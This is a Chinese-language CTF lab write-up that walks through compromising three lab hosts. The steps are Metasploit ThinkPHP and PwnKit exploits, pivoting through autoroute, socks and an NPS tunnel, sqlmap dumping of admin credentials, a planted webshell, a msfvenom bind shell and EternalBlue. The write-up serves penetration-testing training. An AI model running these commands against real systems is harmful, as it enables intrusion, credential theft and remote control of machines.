CTF赛三层内网渗透
前言
2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在Flag,获取一个Flag对应一个积分,获取三个Flag结束。
第一关 Taget1_centos7
1、访问目标网页
发现是ThinkPHP架构的网页,此时就要引起注意了(v5版本),此时我想到msfconsole里面有个thinkphp模块,可以用来尝试一下
2、搜索可利用的模块
search thinkphp
3、使用模块
use 0
配置选项show options
配置完成后run起来
成功拿到meterpreter
3.1 第一个flage
3.2 第二个flag
4、开始提权
方法:系统漏洞直接提权
4.1 搜索和使用模块
post/multi/recon/local_exploit_suggester
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
此时就是root权限了
4.2拿到第三个flage
第二关 Taget1_ubuntu 64位
首先要明确一点,第二关我们的kali是不能够直接去访问的,因为第二台靶机处于的是内网环境,所以我们要通过我们拿下的第一台靶机作为跳板去访问渗透第二台靶机
1、尝试通过kali自带的代理模块
1.1 添加路由
此时我们有第一关靶机的两个不同权限的会话,我们要通过这两个任意的一个会话添加我们访问第二台靶机的路由
进入会话
sessions -i 2
下面这个命令是在靶机上创建类似于cmd命令行格式的,带有回显的命令编辑器,方便我们输入命令
python -c "import pty;pty.spawn('/bin/bash')"
查看网段信息
我们就要用内部网段当做跳板
验证猜想
这里再ping一下百度,确认这个靶机有张网卡确实属于外部网卡
ping -c baidu.com
回到meterpreter查看路由
run autoroute -p
可以看到此时是没有路由表存在的
所以需要手动去添加
这里添加的是访问22网段的路由,命令如下
run autoroute -s 192.168.22.0/24
成功添加上路由
1.2 kali添加代理
bg退出meterpreter
搜索代理模块
search socks5_proxy
设置本机为代理服务器
set SRVHOST 127.0.0.1
直接run,开启代理
如果开启之后就直接停止了,就很有可能是1080端口被占用了
可以使用以下命令查看端口的占用情况
netstat -antlp |grep 1080
此时还不能访问,因为还没有修改代理的配置文件
修改配置文件
vi /etc/proxychains4.conf
在这文件最下方的ProxyList中修改,如果有其他的直接注释掉
此时就可以去访问22网段了
2、使用nmap扫描22网段存活主机
因为VM虚拟机自身网卡的问题,这里进行22网段存活主机显示全部存活
nmap -sn -Pn 192.168.22.0/24
所以我们这里就不进行22网段的目标查找了,因为这里是我们自己搭建的,这里就借用一下上帝视角,直接去访问目标靶机ip
192.168.22.129
3、成功访问第二层
4、配置火狐浏览器,访问目标网页
成功访问到
这里最后还提示了有一个sql注入点
5、寻找flage和拿shell的点
使用sqlmap进行注入
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1"
开始注入
这里就发现问题了
代理超时了,这个原因就是说msf的代理模块本身就不稳定,不支持我们用工具,此时的代理已经是die掉了,所以我们就要尝试更加稳定的代理nps
6、nps代理工具的下载,安装,配置和使用
我们先关闭sql进程
ps -ef|grep sqlmap
关闭代理
nps下载地址
https://github.com/ehang-io/nps
先查看自己的kali版本,从而选择适合自己的版本
uname -a
这里我下载到了/opt目录下
解压之后就是nps文件
安装nps
./nps install
启动nps
./nos start
检查服务开启状态
因为nps默认是8080端口
netstat -antlp |grep 8080
然后去物理机访问
192.168.38.147:8080
||
kali的ip:8080
登录成功
7、nps配置隧道
首先新增一个配置
查看客户机命令配置
然后想办法把下载的npc客户机文件上传到第一个靶机,让它成为跳板
8、上传npc客户机文件到第一个靶机
通过我们拿到的sessions
upload
成功上传
安装客户机
输入刚刚复制的命令
./npc -server=192.168.38.147:8024 -vkey=ksqn2nsug8ls8yhd -type=tc
成功
点击隧道->新增->选择socks代理
修改配置文件为刚刚你设置的端口号
再次访问
成功了
到此为止隧道打通了
9、开始获取meterpreter
使用sqlmap开始注入
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch
这次不仅快,并且不会有超时不稳定的问题
sqlmap成功了
接下来获取后台的登录账户和密码
获取库名
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch --dbs
很明显,对我们有用的数据库是bagecms
所以我们先去获取这个数据库的所有表名
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch bagecms --tables
然后我们去获取bage_admin表里面的字段名
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns
获取字段中的内容
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin -C username,password --dump
获取特定的
或者是
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --dump
获取整个表的字段
10、登录后台
此时要重新配置火狐浏览器,设置端口为新的代理端口才可以访问
同时的话这里有两种方案获取后台地址
10.1、通过网上查询bagecms获取后台地址
建议用谷歌语法查询
10.2、通过目标扫描查询地址(通用方法)
用物理机的direarch挂代理扫描,具体的安装方法这里我就不再赘述了
python dirsearch.py -u http://192.168.22.129 --p
roxy=scoks5://192.168.38.147:1314
11、在后台写入shell
11.1获取flag
flag{eS3sd1IKarw}
11.2进入模块管理
写入木马
然后去访问文件
http://192.168.22.129/index.php?r=tag&666=phpinfo();
12、连接蚁剑
注意这里的蚁剑需要设置代理才能连接上目标
12.1获取flag
13、制作正向的后门文件,通过蚁剑上传到目标的靶机
msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > /opt/dict/target2.elf
找到这个文件,通过蚁剑去上传
13.1 在kali中监听6666端口
use exploit/multi/handler
show options
set LPORT 6666
set LHOST 192.168.22.129
set payload linux/x64/meterpreter/bind_tcp
这里是监听靶机的6666端口,因为是kali发出的正向
然后run起来之后去蚁剑执行这个文件
13.2成功拿下第二个靶机
第三关 window7
用代理启动msf
再去弄一个正向的shell获得meterpreter
配置路由
查看一下
run autoroute -p
添加33网段的路由
run autoroute -s 192.168.33.0/24
搜索模块
search ms17
通过永恒之蓝获取权限即可